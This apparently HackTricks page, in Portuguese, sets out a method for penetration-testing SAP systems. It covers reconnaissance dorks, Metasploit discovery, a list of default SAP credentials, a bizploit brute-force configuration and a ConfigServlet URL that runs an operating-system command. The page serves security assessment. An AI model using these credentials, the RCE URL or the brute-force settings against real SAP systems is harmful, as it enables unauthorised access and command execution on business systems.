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<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
# Introdução sobre SAP
SAP significa Systems Applications and Products in Data Processing. SAP, por definição, também é o nome do software ERP \(Enterprise Resource Planning\) assim como o nome da empresa.
O sistema SAP consiste em uma série de módulos totalmente integrados, que cobrem praticamente todos os aspectos da gestão empresarial.
Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: dev, teste, QA e produção.
Cada uma das camadas pode ser explorada até certo ponto, mas o maior efeito pode ser obtido **atacando o banco de dados**.
Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente da aplicação para “root”.
Na criação inicial, esse usuário SAP\* recebe uma senha padrão: “060719992” \(mais senhas padrão abaixo\).
Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou dev**!
Tente obter acesso ao shell de qualquer servidor usando o nome de usuário &lt;SID&gt;adm.
Força bruta pode ajudar, no entanto, pode haver mecanismo de bloqueio de conta.
# Descoberta
> A próxima seção é principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) do usuário shipcod3!
* Verifique o Escopo da Aplicação ou o Resumo do Programa para testes. Anote os nomes dos hosts ou instâncias do sistema para conectar ao SAP GUI.
* Use OSINT \(inteligência de fontes abertas\), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver voltada para a Internet ou for pública:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Aqui está a aparência de [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
![Tela de Login SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Use o nmap para verificar portas abertas e serviços conhecidos \(sap routers, webdynpro, web services, servidores web, etc.\)
* Explore as URLs se houver um servidor web em execução.
* Fuzz os diretórios \(você pode usar o Burp Intruder\) se tiver servidores web em certas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar caminhos ICM SAP padrão e outros diretórios ou arquivos interessantes:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* Use o módulo auxiliar SAP SERVICE DISCOVERY do Metasploit para enumerar instâncias/serviços/componentes SAP:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Testando o Cliente Pesado / SAP GUI
Aqui está o comando para se conectar ao SAP GUI
`sapgui <sap server hostname> <system number>`
* Verifique as credenciais padrão \(Na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd, isso é considerado como P1 -&gt; Configuração de Segurança do Servidor \| Uso de Credenciais Padrão \| Servidor de Produção\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Execute o Wireshark e autentique-se no cliente \(SAP GUI\) usando as credenciais que você obteve, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem dissecar os principais cabeçalhos usados pelo protocolo SAP DIAG também: plug-in de dissecção da SecureAuth Labs para SAP e plugin SAP DIAG do Positive Research Center.
* Verifique possíveis escalonamentos de privilégios como o uso de alguns Códigos de Transação SAP \(tcodes\) para usuários de baixo privilégio:
* SU01 - Para criar e manter os usuários
* SU01D - Para exibir usuários
* SU10 - Para manutenção em massa
* SU02 - Para criação manual de perfis
* SM19 - Auditoria de segurança - configuração
* SE84 - Sistema de Informação para Autorizações SAP R/3
* Verifique se você pode executar comandos do sistema / rodar scripts no cliente.
* Verifique se você pode realizar XSS no BAPI Explorer
# Testando a interface web
* Rastreie as URLs \(veja a fase de descoberta\).
* Fuzz as URLs como na fase de descoberta. Aqui está como a [http://SAP:50000/index.html](http://sap:50000/index.html) se parece:
![Página Inicial SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Procure por vulnerabilidades web comuns \(Consulte OWASP Top 10\) porque existem vulnerabilidades XSS, RCE, XXE, etc. em alguns lugares.
* Confira a metodologia de Jason Haddix em [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para testar vulnerabilidades web.
* Auth Bypass via Tampering de verbo? Talvez :\)
* Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` e clique no botão “Escolher” e, na janela aberta, pressione “Pesquisar”. Você deverá ser capaz de ver uma lista de usuários SAP \(Referência de Vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
* As credenciais são submetidas via HTTP? Se sim, então é considerado como P3 baseado na [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) da Bugcrowd: Autenticação Quebrada e Gerenciamento de Sessão \| Função de Login Fraca via HTTP. Dica: Confira [http://SAP:50000/startPage](http://sap:50000/startPage) também ou os portais de login :\)
![Página Inicial SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Tente `/irj/go/km/navigation/` para possível listagem de diretório ou bypass de autenticação
* [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações valiosas:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
# Ataque!
* Verifique se está sendo executado em servidores antigos ou tecnologias como Windows 2000.
* Planeje os possíveis exploits / ataques, existem muitos módulos do Metasploit para descoberta de SAP \(módulos auxiliares\) e exploits:
```text
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Tente usar alguns exploits conhecidos \(confira o Exploit-DB\) ou ataques como o antigo, mas eficaz, “SAP ConfigServlet Remote Code Execution” no SAP Portal:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
```markdown
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Antes de executar o comando `start` no script bizploit na fase de Discovery, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidade:
```
```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# Outras Ferramentas Úteis para Testes
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Ferramenta Powershell para avaliar a segurança do SAP
* [Burp Suite](https://portswigger.net/burp) - essencial para fuzzing de diretórios e avaliações de segurança web
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca Python para criar pacotes de protocolo de rede SAP
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Auxilia o nmap a detectar SAP/ERP
# Referências
* [Teste de Penetração no SAP Usando o Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para semi-automatizar o Bizploit
* [Configuração de segurança do SAP NetWeaver ABAP parte 3: Senhas padrão para acesso à aplicação](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Lista de códigos de transação ABAP relacionados à segurança do SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Quebrando o SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Top 10 vulnerabilidades e ataques mais interessantes no SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Avaliando a segurança dos ecossistemas SAP com o bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<details>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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